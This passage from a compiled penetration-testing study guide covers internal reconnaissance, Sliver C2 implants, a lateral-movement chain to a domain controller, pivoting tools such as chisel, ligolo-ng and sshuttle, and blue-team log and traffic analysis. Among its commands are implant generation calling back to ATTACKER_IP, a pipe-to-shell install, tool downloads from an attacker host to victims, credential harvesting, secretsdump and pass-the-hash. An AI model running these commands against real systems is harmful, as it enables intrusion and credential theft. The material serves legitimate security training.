cat /etc/resolv.conf # DNS server = often DC

# ARP cache — hosts that recently communicated with this machine
arp -a
ip neigh

# Windows
ipconfig /all
route print
arp -a
type C:\Windows\System32\drivers\etc\hosts
```

Live Host Discovery

Linux — ping sweep:

```
# Background sweep — fast
for i in $(seq 1 254); do (ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "alive: 192.168.1.$i") & done; wait

# With fping (cleaner)
fping -a -g 192.168.1.0/24 2>/dev/null
```

Windows — ping sweep:

```
for /l %i in (1,1,254) do @ping -n 1 -w 50 192.168.1.%i | find "Reply" && echo 192.168.1.%i alive
```

NetExec — SMB host discovery:

```
nxc smb 192.168.1.0/24 # No creds — just identifies SMB hosts
nxc smb 192.168.1.0/24 -u user -p pass --shares # With creds — enumerate shares
```

Port Scanning from Internal Host

```
# Nmap from compromised Linux host (internal scan)
nmap -sV -p 22,80,443,445,3389,8080,8443 192.168.1.0/24 -oN internal_scan.txt

# Fast scan — top ports
nmap -sV --top-ports 50 192.168.1.0/24 --open -oN internal_fast.txt

# Windows — test specific ports (no nmap)
Test-NetConnection -ComputerName TARGET_IP -Port 445
1..1024 | % {$t = Test-NetConnection -ComputerName TARGET_IP -Port $_ -WarningAction
SilentlyContinue; if($t.TcpTestSucceeded){echo "open: $_"}}
```

SMB Share Enumeration

```
# List shares with creds
nxc smb 192.168.1.0/24 -u user -p pass --shares

# Spider shares for interesting files
nxc smb TARGET_IP -u user -p pass -M spider_plus

# Manually browse
smbclient //TARGET_IP/sharename -U user
# prompt off; recurse on; mget * (download everything)
```

Build a Network Map

Keep a running notes file as you discover hosts:

```
192.168.1.1 - DC01.domain.local - DC, DNS, LDAP/389, Kerberos/88
192.168.1.10 - WEB01.domain.local - IIS, WinRM, RDP
192.168.1.20 - SQL01.domain.local - MSSQL/1433, SMB
192.168.1.50 - DEV01.domain.local - WinRM (accessible with dev_user creds)
```

Update after every new credential and every new machine. The map is your primary planning tool.

Tool tip: `nxc smb 192.168.1.0/24` prints hostnames, OS versions, and signing status in one output — capture it early and update your map.

Source: 14-post-exploitation-and-lateral-movement/07-c2-framework-orientation.md

C2 Framework Orientation

Command and Control (C2) frameworks manage implants on compromised hosts. Relevant for OSCP+ in understanding red team tradecraft — and for MITRE ATT&CK mapping.

Why C2 Matters for OSCP+

The exam uses direct shells (netcat, meterpreter, reverse shells), not full C2 infrastructure. But understanding C2 concepts prepares you for real engagements and explains why some TTPs are structured the way they are.

Sliver (Open Source, Modern)

github.com/BishopFox/sliver — recommended for practice.

```
# Install
curl https://sliver.sh/install | sudo bash

# Start server
sliver-server

# Generate implant (HTTPS beacon)
generate --http https://ATTACKER_IP --os windows --arch amd64 --save /tmp/implant.exe

# Generate mTLS implant (more reliable in labs)
generate --mtls ATTACKER_IP:8888 --os linux --arch amd64 --save /tmp/implant_linux

# Start listener
mtls
http

# When implant connects – interact
sessions
use [session_id]
info
shell
```

Sliver key commands in session:

```
ls, cd, upload, download, execute, ps, netstat, screenshot
```

Cobalt Strike (Commercial, Industry Standard)

License required (~\$5k/yr). Understand concepts even without access:

- **Beacon:** implant that calls home on configurable interval (sleep timer)
- **Malleable C2 profiles:** make Beacon traffic look like legitimate software (Gmail, Slack, etc.)
- **Aggressor scripts:** extend CS functionality (automate actions, custom commands)
- **Team Server:** multi-operator C2 backend

Key concepts: - **Staging vs stageless payloads** — stageless preferred (harder to detect) - **OPSEC:** never reuse infrastructure, rotate C2 domains, use redirectors - **Domain fronting:** route C2 traffic through CDN (CloudFront, Azure CDN) to hide true server

MITRE ATT&CK Mapping

Technique	ID	C2 Usage
Application Layer Protocol (HTTP/S)	T1071.001	HTTPS beaconing
Non-Application Layer Protocol	T1095	raw TCP/UDP C2
Ingress Tool Transfer	T1105	implant downloads tools
Encrypted Channel	T1573	mTLS, custom encryption

OPSEC Basics

1. Callback intervals — don't beacon every second (noisy); 5-60 min in real ops
2. Kill dates — implants self-destruct after engagement end date
3. Separate infrastructure per engagement
4. Never use C2 infra for enumeration — use separate recon tools

Practice: Run a full Sliver lab in an isolated VM. Generate an implant, deploy it to a test Linux/Windows VM, practice sessions, file transfer, and shell access. Understand the flow before the exam, even if the exam uses simpler shells.

Source: 14-post-exploitation-and-lateral-movement/08-integration-lateral-movement-chain.md

Integration: Full Lateral Movement Chain

Connect all post-exploitation techniques into a single exercise. Use GOAD, VulnLab, or HTB Pro Lab “Offshore” for maximum realism.

Scenario Setup

Multi-machine network. You have a low-privilege shell on Machine A. Goal: reach the Domain Controller.

```
ATTACKER → [foothold] MACHINE_A (low-priv) → MACHINE_B → DC
```

Step 1: Establish Position on Machine A

```
# Immediately after getting shell:
id && hostname && ip a && cat /etc/hosts
ss -tulpn | grep -v "127.0.0.1"    # Internally listening services
arp -a                            # Nearby hosts
history
```

Result: You know your user context, IP, reachable subnets, and adjacent hosts.

Step 2: Enumerate and Harvest Credentials

```
# Look for config files and creds
find / -name "*.conf" -o -name "*.env" -o -name "*.ini" 2>/dev/null | xargs grep -l "password" 2>/dev/null
cat ~/.bash_history
env | grep -i pass

# If Windows target:
# cmdkey /list
# reg query HKCU /f password /t REG_SZ /s
# type C:\Users\*\Desktop\* 2>nul
```

Result: You find a credential — `machine_b_svc:ServicePass123`.

Step 3: Identify Machine B is Accessible

```
# Verify cred works
nxc smb 192.168.1.0/24 -u machine_b_svc -p 'ServicePass123'
nxc winrm MACHINE_B_IP -u machine_b_svc -p 'ServicePass123'
```

Result: WinRM access confirmed on Machine B.

Step 4: Move to Machine B

```
evil-winrm -i MACHINE_B_IP -u machine_b_svc -p 'ServicePass123'
```

On Machine B — immediate re-enumeration:

```
whoami /all
net localgroup administrators
ipconfig /all
cmdkey /list
```

Result: Machine B is domain-joined. You find a cached admin credential.

Step 5: Escalate and Reach DC

```
# Dump local SAM from Machine B (if local admin)
secretsdump.py domain.local/machine_b_svc:pass@MACHINE_B_IP

# Test any found hashes against DC
nxc smb DC_IP -u administrator -H :FOUND_HASH

# Get DA shell
psexec.py domain.local/administrator@DC_IP -hashes :FOUND_HASH
```

Step 6: Document Network Map

```
Attack Path:
Attacker
  → Machine A (RCE via web vuln, low-priv as www-data)
    → Found: machine_b_svc:ServicePass123 in /var/www/config.php
  → Machine B (WinRM as machine_b_svc)
    → Found: domain admin hash in cmdkey / LSASS
  → DC (PtH as administrator)
    → DCSync → all hashes extracted
```

Timing Benchmark

Phase	Target Time
Initial enum on Machine A	10 minutes
Credential discovery	15 minutes
Lateral move to B + enum	20 minutes
Escalation to DA	30 minutes
Total chain	under 90 minutes

If you're taking longer, identify the bottleneck and drill it in isolation.

Reference: HTB Pro Lab "Offshore" — 20+ machine network with realistic multi-hop chains. Best OSCP+ prep for this phase.

Phase — 15-pivoting-and-tunneling

Directory: 15-pivoting-and-tunneling/

Source: 15-pivoting-and-tunneling/01-resources-and-lab-setup.md

Pivoting and Tunneling — Resources and Lab Setup

Essential resources and environment prep before you touch a single tunnel.

Core Resources

- HTB Academy “Pivoting, Tunneling, and Port Forwarding” — free, excellent, covers all major tools <https://academy.hackthebox.com/module/details/158>
- OffSec PEN-200 Module 14 — Tunneling Through Deep Packet Inspection
- TryHackMe “Wreath” room — multi-hop pivoting scenario, start to finish <https://tryhackme.com/room/wreath>
- IppSec YouTube — search “pivoting” for HTB box walkthroughs

Tools to Have Ready

```
# Install core tools
sudo apt install chisel sshuttle proxychains4 socat ncat -y

# Ligolo-ng (download binaries – proxy for attacker, agent for victim)
# https://github.com/nicocha30/ligolo-ng/releases

# Chisel (also download binary for victim delivery)
# https://github.com/jpillora/chisel/releases
```

Lab Setup

Minimum viable lab: two isolated network segments.

```
Kali (attacker)
├─ eth0: 192.168.1.0/24 (your network)
├─ eth1: 10.10.10.0/24 (internal segment)

Pivot VM (e.g., Ubuntu)
├─ eth0: 192.168.1.50 (reachable from Kali)
├─ eth1: 172.16.0.50 (internal only)

Target VM
├─ eth0: 172.16.0.100 (only reachable through Pivot)
```

Use VirtualBox/VMware with host-only adapters and internal network adapters.

HTB Pro Labs “Offshore” and “RastaLabs” have realistic multi-segment environments.

Key Mental Model

Pivoting = using a compromised host as a relay to reach otherwise unreachable networks. Every technique below answers: how do I get tool traffic from my machine to a network I can’t directly touch?

Source: 15-pivoting-and-tunneling/02-port-forwarding-fundamentals.md

Port Forwarding Fundamentals

The building blocks — local forward, remote forward, dynamic SOCKS. Everything else builds on these.

SSH Local Port Forwarding

Make a remote internal service reachable on your local machine.

```
# Access internal_host:80 via your localhost:8080
ssh -L 8080:internal_host:80 user@pivot_host

# Access RDP on internal host (not directly reachable)
ssh -L 13389:172.16.0.100:3389 user@10.10.10.50
xfreerdp /v:localhost:13389 /u:Administrator

# Keep tunnel alive, no shell needed
ssh -N -L 8080:internal_host:80 user@pivot_host
```

SSH Remote Port Forwarding

Expose a port on your attacker machine through the pivot (pivot initiates outbound connection).

```
# Victim exposes attacker's port 9090 via jump host — useful for reverse shells
ssh -R 9090:localhost:4444 attacker@your_ip

# From attacker: listen on 9090, receive connections from internal network
nc -lvnp 9090
```

SSH Dynamic Forwarding (SOCKS5 Proxy)

Turn any SSH connection into a SOCKS5 proxy for full network routing.

```
# Creates SOCKS5 proxy on localhost:9050
ssh -D 9050 user@pivot_host

# Use with proxychains (configure /etc/proxychains4.conf first)
proxychains nmap -sT -Pn 10.10.10.0/24
```

Socat Port Forward (no SSH required)

Run on the pivot host when SSH is unavailable.

```
# On pivot: forward local 8080 to internal target
socat TCP-LISTEN:8080,fork TCP:172.16.0.100:80

# Bidirectional relay between two hosts
socat TCP-LISTEN:4444,fork TCP:attacker_ip:4444
```

Practice

- TryHackMe “Wreath” room — step 1 uses SSH local forwarding
- HTB Academy Pivoting module — Lab exercises in each section

Note

Port forwarding is noisy — SSH connections and socat listeners appear in logs. Use `-N` (no shell) and `-f` (background) flags on SSH to reduce footprint.

Source: `15-pivoting-and-tunneling/03-proxychains-and-socks.md`

Proxychains and SOCKS Routing

Route your tools through a SOCKS proxy into an internal network segment.

Configure Proxychains

```
sudo nano /etc/proxychains4.conf

# At the bottom, set your proxy (replace or add):
socks5 127.0.0.1 1080

# Optional: comment out proxy_dns if causing issues
# proxy_dns
```

Set Up the SOCKS Proxy

```
# SSH dynamic forwarding — creates SOCKS5 on port 1080
ssh -N -D 1080 user@pivot_host

# Or use chisel (see 04-chisel-tunneling.md) — same result
```

Route Tools Through Proxychains

```
# Nmap — MUST use -sT (TCP connect) and -Pn — raw sockets don't work
proxychains nmap -sT -Pn -p 22,80,443,445,3389 10.10.10.100

# Subnet sweep (slow but works)
proxychains nmap -sT -Pn -p 80,443,445 10.10.10.0/24

# NetExec / CME through proxy
proxychains nxc smb 10.10.10.5 -u admin -p 'Password123'

# curl to verify internal web app
proxychains curl http://172.16.0.100/

# Evil-WinRM through proxy
proxychains evil-winrm -i 10.10.10.100 -u Administrator -p 'Pass123'

# SSH through proxy (hop again)
proxychains ssh user@172.16.0.200
```

Verify the Chain is Working

```
# Should show internal target's response
proxychains curl -s http://10.10.10.100 | head -20

# Test DNS resolution through proxy
proxychains nslookup internal.corp 10.10.10.1
```

Proxychains4 Config Options

```
# Dynamic chain — skips dead proxies
dynamic_chain

# Strict chain — every proxy must work (good for multi-hop)
strict_chain

# Chain multiple SOCKS proxies for multi-hop
socks5 127.0.0.1 1080 # first hop
socks5 127.0.0.1 2080 # second hop
```

Key Limitations

- ICMP (ping) does not work through proxychains — always use `-Pn` with nmap
- `-sS` (SYN scan) does not work — use `-sT` only
- UDP is unreliable through SOCKS5
- Speed is slow — target specific ports, not full port ranges

Practice

- TryHackMe “Wreath” — proxychains used throughout
- HTB Academy Pivoting module — exercises use proxychains with nmap and nxc

Source: 15-pivoting-and-tunneling/04-chisel-tunneling.md

Chisel Tunneling

HTTP-based tunneling with SOCKS5 support. Works when only HTTP/HTTPS egress is allowed.

Download

```
# Attacker machine (Linux)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz && mv chisel_linux_amd64 chisel && chmod +x chisel

# For victim delivery — grab the correct arch binary (Linux or Windows)
# Windows: chisel_windows_amd64.exe
```

Basic SOCKS5 Tunnel

```
# Attacker — start server with reverse support
./chisel server -p 8000 --reverse

# Victim — connect back and create SOCKS5 on attacker:1080
./chisel client attacker_ip:8000 R:socks
```

Now configure proxychains with `socks5 127.0.0.1 1080` and route all tools through it.

Specific Port Forward

```
# Attacker server
./chisel server -p 8000 --reverse

# Victim — expose internal web server on attacker's port 8080
./chisel client attacker_ip:8000 R:8080:172.16.0.100:80

# Access it locally
curl http://localhost:8080
```

Forward Mode (attacker initiates)

```
# Victim runs server
./chisel server -p 9000

# Attacker connects and creates local SOCKS5
./chisel client victim_ip:9000 socks
```

Deliver Chisel to Victim

```
# Start HTTP server on attacker
python3 -m http.server 80

# On victim (Linux)
wget http://attacker_ip/chisel -O /tmp/chisel && chmod +x /tmp/chisel

# On victim (Windows PowerShell)
iwr http://attacker_ip/chisel.exe -OutFile C:\Windows\Temp\chisel.exe
```

Firewall Bypass Options

```
# Run chisel over HTTPS (requires cert)
./chisel server -p 443 --reverse --tls-key key.pem --tls-cert cert.pem

# Use port 443 or 80 on attacker to blend with normal traffic
./chisel server -p 443 --reverse
```

Combine with Proxychains

```
# /etc/proxychains4.conf
socks5 127.0.0.1 1080

# Tunnel nmap through chisel SOCKS
proxychains nmap -sT -Pn 172.16.0.0/24

# Tunnel nxc
proxychains nxc smb 172.16.0.100 -u admin -p pass
```

Use Case

Best for: restricted egress (HTTP/HTTPS only), web-only DMZ hosts, when SSH is not available. Chisel traffic looks like HTTP — harder to block than raw SSH tunnels.

Ethical note: only use on systems you own or have explicit written permission to test.

Source: 15-pivoting-and-tunneling/05-ligolo-ng-setup-and-usage.md

Ligolo-ng Setup and Usage

Modern pivoting tool — cleaner than chisel for complex networks, no proxychains overhead.

Download

```
# https://github.com/nicocha30/ligolo-ng/releases
# Two binaries: proxy (attacker), agent (victim)

# Attacker — proxy binary
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/proxy_linux_amd64.tar.gz
tar xzf proxy_linux_amd64.tar.gz

# Victim — agent binary (grab correct arch: linux/windows amd64/arm)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent_linux_amd64.tar.gz
```

Attacker Setup

```
# Create TUN interface (one time)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Start proxy server (self-signed cert for labs)
sudo ./proxy -selfcert
# Listening on 0.0.0.0:11601
```

Victim Agent Connection

```
# On victim — connect back to attacker
./agent -connect attacker_ip:11601 -ignore-cert

# Windows victim
.\agent.exe -connect attacker_ip:11601 -ignore-cert
```

Start the Tunnel

In the ligolo-ng proxy interface:

```
ligolo-ng » session
# Select your agent (number)

[Agent: victim_hostname] » start
# Tunnel is now active
```

Add Route to Internal Network

```
# On attacker — route internal subnet through ligolo TUN interface
sudo ip route add 172.16.0.0/24 dev ligolo

# Verify
ip route show | grep ligolo
```

Now access internal hosts directly — no proxychains needed.

```
# Direct access — no proxychains prefix required
nmap -sV -p 80,443,445 172.16.0.100
nxc smb 172.16.0.0/24
curl http://172.16.0.100/
evil-winrm -i 172.16.0.100 -u Administrator -p 'Pass123'
```

Multi-Network Routing

```
# Add multiple subnets as you discover them
sudo ip route add 10.10.20.0/24 dev ligolo
sudo ip route add 192.168.100.0/24 dev ligolo
```

Listener for Reverse Shells from Internal Hosts

```
# In ligolo interface — add listener so internal hosts can reach your attacker
[Agent] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# Internal host connects to pivot:4444 → forwarded to attacker:4444
```

Cleanup

```
sudo ip route del 172.16.0.0/24 dev ligolo
sudo ip link set ligolo down
```

Practice

- HTB Academy “Pivoting, Tunneling, and Port Forwarding” module uses ligolo-ng throughout
- Preferred tool for OSCP exam over chisel for complex multi-subnet scenarios

Ethical note: only use on authorized systems — ligolo-ng agents are persistent until killed.

Source: 15-pivoting-and-tunneling/06-sshuttle-transparent-proxy.md

sshuttle — Transparent VPN Over SSH

Easiest pivoting tool — no proxychains, no route management. Just works.

Install

```
sudo apt install sshuttle -y
# Or: pip3 install sshuttle
```

Basic Usage

```
# Route all traffic to 10.10.10.0/24 through pivot
sshuttle -r user@pivot_host 10.10.10.0/24

# Multiple subnets
sshuttle -r user@pivot_host 10.10.10.0/24 172.16.0.0/24

# Route everything (default gateway) through pivot — full VPN mode
sshuttle -r user@pivot_host 0.0.0.0/0
```

With SSH Key

```
sshuttle -r user@pivot_host --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 10.10.10.0/24
```

Background Mode

```
# Run in background, write PID to file
sshuttle -r user@pivot_host 10.10.10.0/24 --daemon --pidfile /tmp/sshuttle.pid

# Kill it later
kill $(cat /tmp/sshuttle.pid)
```

Use Without Root (limited)

```
# Uses --method=tproxy — requires some setup but avoids sudo
sshuttle --method=tproxy -r user@pivot_host 10.10.10.0/24
```

After sshuttle is Running

No proxychains needed — all tools just work:

```
# Direct nmap including SYN scan
nmap -sV -p- 10.10.10.100

# Browser — navigate directly to internal app
firefox http://10.10.10.100/

# All standard tools work natively
nxc smb 10.10.10.0/24
curl http://10.10.10.100/
ssh user@10.10.10.200
```

Requirements and Limitations

- Requires Python 3 on the pivot host (most Linux systems have it)
- TCP only — UDP and ICMP are not tunneled
- Requires SSH access to pivot (password or key)
- Slightly slower than ligolo-ng for large-scale scanning

When to Use sshuttle vs Ligolo-ng

Scenario	Use
Quick one-subnet access	sshuttle
Multi-hop complex networks	ligolo-ng
No SSH available	chisel
OSCP exam (time pressure)	sshuttle for speed

Practice

- TryHackMe “Wreath” — sshuttle used in early stages
- Any HTB machine with an internal network segment

Source: 15-pivoting-and-tunneling/07-integration-multi-hop-lab.md

Multi-Hop Pivoting — Integration Lab

Full scenario: three segments, two pivots, one attacker. This is what OSCP and real engagements look like.

Scenario

```
Kali (attacker) 192.168.1.10
|
| [internet-facing]
v
Pivot1 192.168.1.50 / 10.10.10.50      (compromised, dual-homed)
|
| [internal Subnet A]
v
Pivot2 10.10.10.100 / 172.16.0.50    (compromised, dual-homed)
|
| [isolated Subnet B]
v
Target 172.16.0.100                  (final target, no internet)
```

Step 1 — Establish Tunnel to Subnet A via Pivot1

```
# Option A: sshuttle (quick)
sshuttle -r user@192.168.1.50 10.10.10.0/24

# Option B: ligolo-ng agent on Pivot1
# On Pivot1:
./agent -connect 192.168.1.10:11601 -ignore-cert

# On Kali (ligolo interface):
session → select Pivot1 → start
sudo ip route add 10.10.10.0/24 dev ligolo
```

Step 2 — Enumerate Subnet A

```
# Discover hosts
nmap -sn 10.10.10.0/24

# Find Pivot2 (dual-homed host)
nmap -sV -p 22,80,443,445,3389 10.10.10.100

# Enumerate services on discovered hosts
nxc smb 10.10.10.0/24
```

Step 3 — Compromise Pivot2, Deploy Second Agent

```
# Get shell on Pivot2 (via exploit, creds, etc.)
# Deliver second ligolo-ng agent to Pivot2

# From Kali (already routing through Pivot1):
scp agent user@10.10.10.100:/tmp/agent

# On Pivot2:
./agent -connect 192.168.1.10:11601 -ignore-cert
# Ligolo-ng supports multiple agents simultaneously
```

Step 4 — Route to Subnet B via Pivot2

```
# In ligolo interface — switch to Pivot2 session
session → select Pivot2 → start

# Add route for Subnet B
sudo ip route add 172.16.0.0/24 dev ligolo
```

Now access Target directly from Kali:

```
nmap -sV -p- 172.16.0.100
evil-winrm -i 172.16.0.100 -u Administrator -p 'Pass123'
```

Nested SSH Alternative (manual, no extra tools)

```
# SSH chain through both pivots — ProxyJump
ssh -J user@192.168.1.50,user@10.10.10.100 user@172.16.0.100

# Dynamic SOCKS through double hop
ssh -J user@192.168.1.50 -D 1080 user@10.10.10.100
# Then route through 1080 for Subnet B
proxychains curl http://172.16.0.100/
```

Keeping Track

Maintain a network diagram as you go — draw it as text in your notes:

```
[Kali] → sshuttle/ligolo → [Pivot1:10.10.10.50] → ligolo → [Pivot2:172.16.0.50] →
[Target:172.16.0.100]
```

Practice Labs

- TryHackMe “Wreath” — three-machine chain, exactly this structure <https://tryhackme.com/room/wreath>
- HTB Pro Labs “Offshore” — realistic multi-segment AD environment
- HTB Pro Labs “RastaLabs” — advanced multi-hop with AD attacks

Ethical note: multi-hop pivoting dramatically expands your blast radius. Only perform on scoped, authorized targets. Document every pivot established.

Phase — 16-blue-team-soc-and-incident-response

Directory: 16-blue-team-soc-and-incident-response/

Source: 16-blue-team-soc-and-incident-response/01-resources-and-role-overview.md

Blue Team, SOC, and Incident Response — Resources and Role Overview

Understand what defenders see. Invaluable for red teamers and required for OSCP+ defenders track.

Free Training Platforms

- Blue Team Labs Online — free IR and forensics scenarios <https://blueteamlabs.online/>
- TryHackMe “SOC Level 1” path — foundational analyst skills <https://tryhackme.com/path/outline/soclevel1>
- TryHackMe “SOC Level 2” path — intermediate, threat hunting and IR <https://tryhackme.com/path/outline/soclevel2>
- HTB Academy “SOC Analyst” job role path <https://academy.hackthebox.com/paths/jobrole/1>
- LetsDefend.io — alert triage simulation, free and paid tiers <https://letsdefend.io/>
- CyberDefenders — free lab challenges with real PCAP/artifact analysis <https://cyberdefenders.org/>

Paid / Advanced

- SANS FOR508: Advanced Incident Response and Threat Hunting (industry standard, expensive)
- SANS FOR610: Reverse Engineering Malware
- Blue Team Labs Online Pro — more scenarios

Tools to Install

```
# Network analysis
sudo apt install wireshark tshark zeek suricata -y

# DFIR
sudo apt install volatility3 autopsy sleuthkit -y

# Threat intel / IOC analysis
sudo apt install yara -y

# CyberChef (browser-based analysis tool)
# https://gchq.github.io/CyberChef/

# Velociraptor (DFIR platform)
# https://github.com/Velocidex/velociraptor/releases
```

SOC Analyst Role Overview

Tier 1: Alert triage — is this a real threat or a false positive? Tier 2: Investigation — what happened, how far did it spread? Tier 3: Threat hunting — find attackers before they trigger alerts. IR team: Contain, eradicate, recover, report.

Key skill overlap with OSCP+: understanding attacker TTPs from the defender’s perspective makes you a better attacker — and a better defender.

Where to Start

1. TryHackMe SOC Level 1 path (free, structured)
2. CyberDefenders “CyberCorp Case 2” lab (realistic IR scenario)
3. Blue Team Labs Online “Phishing Analysis” series (email is the top attack vector)

Log Analysis Fundamentals

Reading logs like an analyst — find attacker activity in the noise.

Windows Event Log Key IDs

Event ID	Meaning	Why It Matters
4624	Successful logon	Who logged in, from where, what type
4625	Failed logon	Brute force indicator
4648	Logon with explicit credentials	Pass-the-hash, runas
4662	Directory service object access	AD enumeration/DCSync
4720	User account created	Persistence
4728/4732/4756	User added to group	Privilege escalation
4688	Process created	Command execution (needs audit policy)
4698	Scheduled task created	Persistence
7045	New service installed	Persistence, malware
4776	NTLM authentication	Lateral movement indicator

Reading Windows Event Logs

```
# PowerShell — get failed logons
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} | Select-Object TimeCreated, Message | Fo
rmat-List

# Get all logons from specific IP
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} | Where-Object {$_.Message -like "*192.16
8.1.100*"}

# Export to CSV for analysis
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Export-Csv c:\logs\processes.csv
```

Linux Log Locations

```
# Authentication events
tail -f /var/log/auth.log           # Ubuntu/Debian
tail -f /var/log/secure             # RHEL/CentOS

# SSH brute force — look for repeated "Failed password"
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head

# Successful logins
grep "Accepted password\|Accepted publickey" /var/log/auth.log

# System events
journalctl -f                       # Live
journalctl --since "2024-01-01" --until "2024-01-02"
journalctl -u sshd --since "1 hour ago"
```

Web Server Log Analysis

```
# Apache/Nginx access log – look for attack patterns
cat /var/log/apache2/access.log | awk '{print $9}' | sort | uniq -c | sort -rn
# Status codes: 200=success, 403=forbidden, 404=not found, 500=server error

# Find POST requests (data submission, upload attempts)
grep "POST" /var/log/apache2/access.log | grep -v "200"

# Find scanning activity (lots of 404s from one IP)
awk '$9==404 {print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head

# Find suspicious user agents
grep -i "sqlmap\|nikto\|nmap\|masscan\|curl\|python" /var/log/apache2/access.log
```

Quick Anomaly Patterns

```
# Logon outside business hours
# Multiple failed logins then success (brute force → compromise)
# New admin account created shortly after a logon
# Process created by unexpected parent (e.g., word.exe spawning cmd.exe)
# Lateral movement: logon type 3 (network) from workstation to workstation
```

Practice

- TryHackMe “Windows Event Logs” room
- TryHackMe “Investigating Windows” room
- Blue Team Labs Online “Log Analysis” challenges

Source: 16-blue-team-soc-and-incident-response/03-siem-fundamentals.md

SIEM Fundamentals

Search, correlate, alert. SIEMs aggregate logs — your job is to find the signal.

Splunk Search Syntax

```
# Basic event search
index=windows EventCode=4625

# Count failed logins by source IP
index=windows EventCode=4625 | stats count by src_ip | sort -count

# Brute force detection – >10 failures in 5 minutes
index=windows EventCode=4625
| bucket _time span=5m
| stats count by _time, src_ip
| where count > 10

# Find process creation with suspicious command
index=windows EventCode=4688 CommandLine="*powershell*download*"

# Lateral movement – NTLM logons between workstations
index=windows EventCode=4624 LogonType=3 NOT dest="domain_controller"
| stats count by src_ip, dest | sort -count

# Data exfiltration indicator – large outbound transfers
index=network bytes_out > 10000000 | stats sum(bytes_out) by dest_ip | sort -sum(bytes_out)
```

Elastic/Kibana — KQL Syntax

```
# Failed logons
event.code: "4625"

# Failed logons from specific IP
event.code: "4625" AND source.ip: "192.168.1.100"

# PowerShell execution
event.code: "4688" AND process.name: "powershell.exe"

# Combine conditions
event.code: "4625" AND winlog.event_data.FailureReason: *

# Time range (use UI picker or)
@timestamp >= "2024-01-01T00:00:00" and @timestamp <= "2024-01-02T00:00:00"
```

Building a Basic Detection Rule

Threshold-based: N failed logins from same IP within Y minutes.

Splunk alert:

```
index=windows EventCode=4625
| bucket _time span=10m
| stats count by _time, src_ip
| where count >= 5
```

- Save as Alert → trigger action → email or webhook

Elastic detection rule: - Security → Rules → Create Rule → Threshold - Index: winlogbeat-* , Query: event.code:4625 - Threshold field: source.ip , over: 5 in last 10 minutes

Free Practice Datasets

```
# Splunk BOSS of the SOC (BOTS) dataset – realistic attack scenarios
# https://github.com/splunk/botsv3

# Import into Splunk free trial and work through challenges
# Categories: web attack, phishing, insider threat, APT

# TryHackMe Splunk rooms
# "Splunk: Basics" and "Investigating with Splunk"
```

Key SIEM Use Cases

Use Case	Log Source	Key Fields
Brute force	Windows Security	EventID 4625, src_ip
Lateral movement	Windows Security	EventID 4624, LogonType 3
Persistence	Windows Security/System	EventID 4698, 7045
C2 beaconing	Proxy/DNS logs	dest_ip, query frequency
Data exfil	Proxy/FW	bytes_out, dest_ip

Practice

- Splunk BOTS dataset (free with Splunk trial)
- TryHackMe “Splunk” room series
- LetsDefend.io alert triage exercises

Network Traffic Analysis

Identify C2, lateral movement, exfiltration, and tunneling in packet captures.

Wireshark Filters

```
# Filter by port
tcp.port == 445
tcp.port == 4444

# HTTP POST requests only (data submission, possible exfil)
http.request.method == "POST"

# DNS queries containing suspicious strings
dns.qry.name contains "evil"
dns.qry.name matches ".*\.xyz$"

# All traffic to/from suspicious IP
ip.addr == 10.10.10.100

# Connections with large data transfer
tcp.len > 10000

# SMB traffic (lateral movement indicator)
smb || smb2

# Beaconing – regular interval connections (filter then check timing)
ip.dst == known_c2_ip

# TLS without valid SNI (suspicious encrypted traffic)
ssl.handshake.type == 1 && !ssl.handshake.extensions_server_name
```

Tshark (Command Line Wireshark)

```
# Read PCAP and show HTTP requests
tshark -r capture.pcap -Y "http.request" -T fields -e ip.src -e http.host -e http.request.uri

# Extract DNS queries
tshark -r capture.pcap -Y "dns.qry.type == 1" -T fields -e dns.qry.name | sort | uniq -c | sort -rn

# Find large data transfers
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.len | awk '$3>5000' | sort -k3 -rn | head

# Follow TCP stream (stream number from Wireshark)
tshark -r capture.pcap -Y "tcp.stream eq 5" -z follow,tcp,ascii,5
```

Zeek (Bro) — Structured Log Analysis

```
# Process PCAP with Zeek — generates structured logs
zeek -C -r capture.pcap

# Key log files generated:
# conn.log    — all connections (src, dst, port, bytes, duration)
# http.log    — HTTP requests and responses
# dns.log     — DNS queries and answers
# ssl.log     — TLS/SSL sessions
# files.log   — transferred files

# Parse conn.log — find high-volume connections
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration orig_bytes | sort -k5 -rn | head

# Find long-duration connections (C2 keep-alive)
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk '$3 > 300' | sort -k3 -rn

# DNS tunneling — look for long domain names or high query counts
cat dns.log | zeek-cut query | awk 'length($1) > 50' | sort | uniq -c | sort -rn
```

Suricata — IDS Rule Review

```
# Run Suricata against PCAP
suricata -r capture.pcap -l /tmp/suricata-output/

# Review alerts
cat /tmp/suricata-output/fast.log
cat /tmp/suricata-output/eve.json | python3 -m json.tool | grep -A5 '"event_type": "alert"'
```

Key Attack Patterns to Identify

C2 Beaconing:	Regular interval (every 30/60/300s) connections to same IP
DNS Tunneling:	Long subdomains (>50 chars), high DNS query frequency
Data Exfil:	Large outbound POST/PUT, unusual ports, encrypted to unknown IP
Lateral Movement:	SMB connections workstation-to-workstation, NTLM auth chains
Port Scanning:	Many connections with RST/no response, incrementing dest ports

Free PCAP Practice

- [malware-traffic-analysis.net](https://www.malware-traffic-analysis.net/) — real malware PCAPs with full writeups <https://www.malware-traffic-analysis.net/>
- [CyberDefenders](https://cyberdefenders.org/) — PCAP-based challenges <https://cyberdefenders.org/>
- TryHackMe “Wireshark: The Basics” and “Zeek” rooms

Source: `16-blue-team-soc-and-incident-response/05-endpoint-detection-and-edr.md`

Endpoint Detection and EDR

EDR detects behaviors, not just signatures. Know what telemetry is generated when you attack.

Sysmon — Windows Telemetry

```
